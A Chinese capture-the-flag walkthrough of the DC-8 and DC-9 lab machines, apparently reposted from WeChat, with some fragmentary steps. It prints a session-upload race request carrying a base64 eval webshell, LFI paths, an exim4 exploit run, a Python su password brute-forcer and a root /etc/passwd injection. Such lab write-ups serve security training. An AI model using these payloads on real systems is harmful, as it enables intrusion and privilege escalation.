DC靶机系列(8-9)
2023-2-15 09:27:9 Author: 珂技知识分享(查看原文) 阅读量:17 收藏

那么快速且熟练的注出数据。

john是吧,这个john是动词。

echo '$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z' > passecho '$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF' >> passjohn passjohn --show pass

但用默认字典很久也没爆出来,所以我选择了之前那个外国人字典。
john --wordlist=passwords.txt  pass

john/turtle准备ssh上去,发现只能用key登录,那么先登Drupal,虽然登录接口不在首页显示,但根据之前的经验可以找出来。
http://192.168.29.151/user
john权限有限,不能像之前那样主题getshell,乱翻之中,发现编辑Contact Us的地方居然可以执行PHP代码。

退出登录后在Contact Us的地方随便提个东西即可触发,那么成功getshell。

反弹shell后发现没用户,exim4版本可提权。

之前有个靶机说了要用46996.sh,但直接拿到DC-8上去有个问题。
chmod 777 46996.sh
./46996.sh -m netcat

先在kali上处理一下即可。
dos2unix 46996.sh

注意这题也不能用sh 46996.sh,也会报错,因为默认会用dash处理而dash不识别圆括号,解决办法是用bash或者废弃dash,具体自行搜索。

9.    DC-9

首页一个搜索,一个登录,一个用户列表。搜索那儿有注入。

注意这个注入用我最喜欢也最常用的Mary/Mary'/Mary''是无法探测到的,因为它将报错也返回成无结果了。而Mary'%2B'会返回0,也就是username=0,这相当于or 1=1,导致返回全部结果。
当然,直接简简单单Mary'and 1='1和Mary'and 1='2也没问题。
赶紧上sqlmap。

admin/transorbital1登录之后发现多了一个添加用户功能,并且下面有个php的报错。

这才对嘛,这一看就是文件读取/包含,哪像上次包含footer.php还给个参数自由控制的。
http://192.168.29.152/addrecord.php?file=../../../../etc/passwd

无法控制协议,apache的权限又不能包含日志,但这题可以登录,显然有session。
http://192.168.29.152/addrecord.php?file=../../../../var/lib/php/sessions/sess_9e0j0kekr10hkidbgu8k3okc8u

那么经典条件竞争session,经过多次测试,manage.php和welcome.php也存在任意文件包含,由于有时候session会掉,用manage.php包含效果最好。其次有些关键字似乎会直接导致session掉或者不成功,所以用命令执行的方式在/tmp目录写入webshell最好。最后就是竞争并不那么容易成功,我是用burp启动了三个Intruder,请求了很多次才成功。

POST /manage.php?file=../../../../var/lib/php/sessions/sess_9e0j0kekr10hkidbgu8k3okc8u HTTP/1.1Host: 192.168.29.152Content-Type: multipart/form-data; boundary=---------------------------222839882939811853001185623775Content-Length: 440Cookie: PHPSESSID=9e0j0kekr10hkidbgu8k3okc8uConnection: close
-----------------------------222839882939811853001185623775Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php exec(base64_decode('ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+JyA+IC90bXAvMS50eHQ='));?>-----------------------------222839882939811853001185623775Content-Disposition: form-data; name="file"; filename="1.txt"Content-Type: text/plain

-----------------------------222839882939811853001185623775--

ant连接webshell,注意需要设置Cookie到Header。上去之后马上发现web目录是root权限的无法直接写webshell,果然直接写/tmp目录然后用包含才是最靠谱的。
连上去之后发现内核较新,且没有gcc,没有SUID,而且web上的用户都是本地用户。

感觉像是登录本地用户提权,找到config.php,连上数据库,发现还有一个users库,库中唯一的表中发现了所有本地用户的密码。

挨个儿su之后发现只有三个用户能登录。
chandlerb/UrAG0D!
joeyt/Passw0rd
janitor/Ilovepeepee

其中只有janitor用户有个密码本。

那么显然我们需要用这个密码本去爆破剩下的用户。
这里有两种做法,一种是爆破ssh,不管是爆破靶机对外开放的22端口,还是转发靶机的22端口到攻击机上,还是上传一个爆破程序爆破靶机本地的22端口;另外一种就是本地爆破su。前一种很多都能做到,就不细说了,后一种我发现居然没有现成的脚本实现,不得已只能自己写。
首先要明白,像su这种需要子shell输入字符串的,在学习pwn中,我们明白了可以先echo再用|也就是管道符号传递字符串,比如mysql语句。
echo 'select user();'|sudo mysql -u root
echo 123456 | su -c id test

但轮到su的时候就会发现它报了一个must be run from a terminal的错误。
这个问题我们以前也常见,在反弹shell之后直接su也会出现这个错误,这时候要用python的pty模块模拟一个终端。
python -c 'import pty; pty.spawn("/bin/bash")'
那么这里也是同理,如果想利用su爆破密码。不管是写bash脚本,还是python的os模块,直接用su都会报这个错误。必须要用pty或者其他类似的python模块模拟终端才行。其他的往往是第三方没有内置在python中,所以这里我们就用pty了。
那么pty如何进行交互,并且返回数据呢?一开始我是准备直接操作数据流的,参考这个问题以及官方文档。
https://stackoverflow.com/questions/21442360/issuing-commands-to-psuedo-shells-pty
https://docs.python.org/zh-cn/3/library/pty.html

后来发现太麻烦,不如用我们最开始的想法也就是|管道符号,在一些hadoop脚本中,发现了正确用法。
(sleep 0.1; echo "123456") | python -c "import pty; pty.spawn(['su','-c','id','test']);"

那么写出爆破脚本。

import os
def su_user(passwd,user): cmd = '''python -c "import time; time.sleep(0.1); print('{}')" | python -c "import pty; pty.spawn(['su','-c','id', '{}']);"'''.format(passwd,user) #cmd = '''sleep 0.1; echo "{}" | python -c "import pty; pty.spawn(['su','-c','id','{}']);"'''.format(passwd,user) #cmd = '''(sleep 0.1; echo "{}") | python -c "import pty; pty.spawn(['su','-c','id','{}']);"'''.format(passwd,user)
f = os.popen(cmd) str = f.read() f.close() if "("+user in str: return 1 return 0 def read_file_to_list(file): f = open(file,'r') content = f.readlines() for i in range(len(content)): content[i] = content[i].rstrip("\n").rstrip("\r") f.close() return content
users = read_file_to_list('user.txt')passwds = read_file_to_list('pass.txt')
#users = ["root","test"]#passwds = ["000000","123456","12345678"]
for user in users: for passwd in passwds: istrue = su_user(passwd,user) if istrue == 1: print("user is: "+user) print("password is: "+passwd) break

实际情况要选择三条命令中的一条,一般第一条就行,虽然有的机器上会报错(不影响实际执行)。因为没有多线程的原因,会比较慢,但还是有效果的。

那么su到fredf/B4-Tru3-001,sudo -l之后发现一个程序,运行之后发现好像会自动执行python test.py。

find一下找到test.py,就在/opt/devstuff/test.py。

需要三个参数,将第2个参数的文件写到第3个参数的文件中,等于一个任意文件读写,试一下。

那么同样是改写/etc/passwd文件,增加一个用户进去。
openssl passwd -1 -salt root2 123456
echo 'root2:$1$root2$JsAECnsHEyRSlwaVVinwF.:0:0::/root2:/bin/bash' > 1.txt
sudo /opt/devstuff/dist/test/test 1.txt /etc/passwd

如果我们没有在DC-9上找到test.py或者它没有这个test.py的提示呢?这就需要两步反编译/opt/devstuff/dist/test/test,也非常简单。
https://github.com/extremecoders-re/pyinstxtractor
python pyinstxtractor.py test

python3 -m pip install uncompyle6
uncompyle6.exe test.pyc

回过头来看DC-9的答案,发现自己完全非预期解了,正确答案是SQL注入直接获取users库中的账户密码,然后爆破ssh。
其中ssh的22端口存在防火墙拦截,需要查看knocd的配置文件。
http://192.168.29.152/manage.php?file=../../../../etc/knockd.conf

需要依次访问7469/8475/9842三个端口。
for i in {7469,8475,9842};do nc 192.168.29.152 $i;done


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247486210&idx=1&sn=1f42d9c100d7790f8d10e441e95880c5&chksm=fa97366dcde0bf7bf9ab3960a25f6eebd768f13082d433a370680422a265b962a33bf9c1e6e5#rd
如有侵权请联系:admin#unsafe.sh